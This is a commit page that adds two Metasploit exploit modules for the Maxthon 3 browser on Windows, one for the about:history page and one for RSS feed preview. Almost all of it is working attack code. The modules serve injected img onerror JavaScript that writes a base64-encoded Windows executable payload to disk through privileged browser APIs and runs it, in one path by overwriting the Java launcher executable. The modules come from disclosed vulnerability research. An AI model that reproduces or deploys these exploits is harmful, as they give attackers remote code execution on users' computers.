Skip to content

Commit 6dfda6d

Browse files
committed
Added Maxthon3 Cross Context Scripting (XCS) exploits for Win
1 parent edaa660 commit 6dfda6d

File tree

2 files changed

+281
-0
lines changed

2 files changed

+281
-0
lines changed
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
Rank = ExcellentRanking
5+
6+
include Msf::Exploit::Remote::HttpServer::HTML
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'Maxthon about:history XCS',
11+
'Description' => %q{
12+
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
13+
Injection in such privileged/trusted browser zone can be used to modify configuration settings and
14+
execute arbitrary commands. Affects Maxthon 3 browsers.
15+
},
16+
'License' => BSD_LICENSE,
17+
'Author' =>
18+
[ 'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
19+
],
20+
'Version' => '$Revision: 1 $',
21+
'References' =>
22+
[
23+
['CVE', 'TBA'],
24+
['URL', 'http://blog.malerisch.net/2012/11/maxthon-cross-context-scripting-xcs-about-history-rce.html'],
25+
],
26+
'Payload' =>
27+
{
28+
'DisableNops' => true,
29+
},
30+
'Targets' =>
31+
[
32+
['Maxthon 3',
33+
{
34+
'Platform' => 'win',
35+
}
36+
],
37+
],
38+
'DisclosureDate' => 'Nov 26 2012',
39+
'DefaultTarget' => 0
40+
))
41+
42+
register_options(
43+
[
44+
OptString.new('JPATH', [true, "Java executable path to overwrite", 'C:\\\\Program\\ Files\\\\Java\\\\jre7\\\\bin\\\\jp2launcher.exe']),
45+
OptString.new('JAVAURL', [true, "Java Applet URL", 'http://profs.etsmtl.ca/mmcguffin/learn/java/01-drawingLines/']),
46+
], self.class
47+
48+
)
49+
end
50+
51+
def on_request_uri(cli, request)
52+
53+
jpath = datastore['JPATH']
54+
javaurl = datastore['JAVAURL']
55+
56+
headers = {}
57+
html_hdr = %Q^
58+
<html>
59+
<head>
60+
<title>Loading</title>
61+
^
62+
html_ftr = %Q^
63+
</head>
64+
<body >
65+
<h1>Loading</h1>
66+
</body></html>
67+
^
68+
69+
case request.uri
70+
when /[?]jspayload/
71+
p = regenerate_payload(cli)
72+
if (p.nil?)
73+
send_not_found(cli)
74+
return
75+
end
76+
# We're going to run this through unescape(), so make sure
77+
# everything is encoded
78+
penc = Msf::Util::EXE.to_win32pe(framework, p.encoded)
79+
penc2 = Rex::Text.encode_base64(penc)
80+
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon
81+
# depending on maxthon version, then file can be launched via Program DOM API
82+
# or replacing Java program
83+
content =
84+
%Q{
85+
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
86+
var fileObj = maxthon.io.File(fileTemp);
87+
maxthon.io.FileWriter(fileTemp);
88+
89+
90+
if(maxthon.program)
91+
{
92+
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
93+
maxthon.program.Program.launch(fileTemp.name_,"C:");
94+
}
95+
96+
else
97+
{
98+
// here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it
99+
// this is because the maxthon.program object has been silently removed in latest Maxthon versions...
100+
// in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe
101+
// e.g. wab.exe invoked via mailto://
102+
// however, in win7, a prompt will be displayed if browser executes a mail client or an external program
103+
// so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found
104+
// once that is done, then we can point to a page where a java applet exists which will invoke java.exe,
105+
// unless previously loaded by the user
106+
//
107+
fileTemp.name_ = "#{jpath}";
108+
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
109+
110+
a=document.createElement("iframe");
111+
a.setAttribute("src","#{javaurl}");
112+
document.body.appendChild(a)
113+
114+
}
115+
116+
}
117+
118+
when /[?]history/
119+
js = %Q^
120+
window.onload = function() {
121+
location.href = "about:history";
122+
}
123+
^
124+
content = %Q^
125+
#{html_hdr}
126+
<script>
127+
#{js}
128+
</script>
129+
#{html_ftr}
130+
^
131+
when get_resource()
132+
print_status("Sending #{self.name} payload for request #{request.uri}")
133+
134+
js = %Q^
135+
136+
url = location.href;
137+
url2 = url + "?jspayload=1";
138+
139+
inj = "?history#%22/><img src=a onerror=%22"
140+
141+
inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
142+
143+
144+
window.location = unescape(inj) + inj_1;
145+
146+
147+
148+
149+
^
150+
content = %Q^
151+
#{html_hdr}
152+
<script>
153+
#{js}
154+
</script>
155+
#{html_ftr}
156+
^
157+
else
158+
print_status("Sending 404 for request #{request.uri}")
159+
send_not_found(cli)
160+
return
161+
end
162+
163+
send_response_html(cli, content, headers)
164+
handler(cli)
165+
end
166+
167+
end
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
Rank = ExcellentRanking
5+
6+
include Msf::Exploit::Remote::HttpServer::HTML
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'Maxthon RSS Preview',
11+
'Description' => %q{
12+
RSS feed content is rendered by Maxthon in a trusted/privileged zone.
13+
Injection in such privileged/trusted browser zone can be used to modify configuration settings and execute arbitrary commands.
14+
Affects Maxthon 3 browsers.
15+
},
16+
'License' => BSD_LICENSE,
17+
'Author' =>
18+
[
19+
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
20+
],
21+
'Version' => '$Revision: 1 $',
22+
'References' =>
23+
[
24+
['CVE', 'TBA'],
25+
['URL', 'http://blog.malerisch.net/2012/11/maxthon-cross-context-scripting-xcs-rss-rce.html'],
26+
],
27+
'Payload' =>
28+
{
29+
'DisableNops' => true,
30+
},
31+
'Targets' =>
32+
[
33+
['Maxthon 3',
34+
{
35+
'Platform' => 'win',
36+
}
37+
],
38+
],
39+
40+
'DisclosureDate' => 'Nov 26 2012',
41+
42+
'DefaultTarget' => 0
43+
44+
))
45+
46+
register_options(
47+
[
48+
OptString.new('JPATH', [true, "Java executable path to overwrite", 'C:\\\\Program\\ Files\\\\Java\\\\jre7\\\\bin\\\\jp2launcher.exe']),
49+
OptString.new('JAVAURL', [true, "Java Applet URL", 'http://profs.etsmtl.ca/mmcguffin/learn/java/01-drawingLines/']),
50+
], self.class
51+
52+
)
53+
54+
55+
end
56+
57+
def on_request_uri(cli, request)
58+
59+
jpath = datastore['JPATH']
60+
javaurl = datastore['JAVAURL']
61+
62+
headers = {}
63+
html_hdr = %Q^
64+
<html>
65+
<head>
66+
<title>Loading</title>
67+
^
68+
html_ftr = %Q^
69+
</head>
70+
<body >
71+
<h1>Loading</h1>
72+
</body></html>
73+
^
74+
75+
case request.uri
76+
77+
when get_resource()
78+
print_status("Sending #{self.name} payload for request #{request.uri}")
79+
p = regenerate_payload(cli)
80+
if (p.nil?)
81+
send_not_found(cli)
82+
return
83+
end
84+
penc = Msf::Util::EXE.to_win32pe(framework, p.encoded)
85+
penc2 = Rex::Text.encode_base64(penc)
86+
87+
js = %Q|var fileTemp=new maxthon.io.File.createTempFile("test","exe");var fileObj=maxthon.io.File(fileTemp);maxthon.io.FileWriter(fileTemp);if(maxthon.program){maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");maxthon.program.Program.launch(fileTemp.name_,"C:"); } else {fileTemp.name_ = "#{jpath}"; maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");a=document.createElement("iframe");a.setAttribute("src","#{javaurl}");document.body.appendChild(a)}|
88+
89+
90+
content = %Q|<?xml version="1.0" encoding="ISO-8859-1" ?>
91+
<rss version="2.0">
92+
<channel>
93+
<description>Malerisch.net</description>
94+
<link>http://blog.malerisch.net/</link>
95+
<title>Malerisch.net</title>
96+
<item>
97+
<title>test</title>
98+
<link>javascript:alert(window.location);</link>
99+
<description>07/09/2008 - test &lt;img src=a onerror='#{js}'&gt;</description>
100+
<pubDate>Sun, 07 Sep 2008 12:00:00 GMT</pubDate>
101+
</item>
102+
</channel>
103+
</rss>|
104+
else
105+
print_status("Sending 404 for request #{request.uri}")
106+
send_not_found(cli)
107+
return
108+
end
109+
110+
send_response_html(cli, content, headers)
111+
handler(cli)
112+
end
113+
114+
end

0 commit comments

Comments
 (0)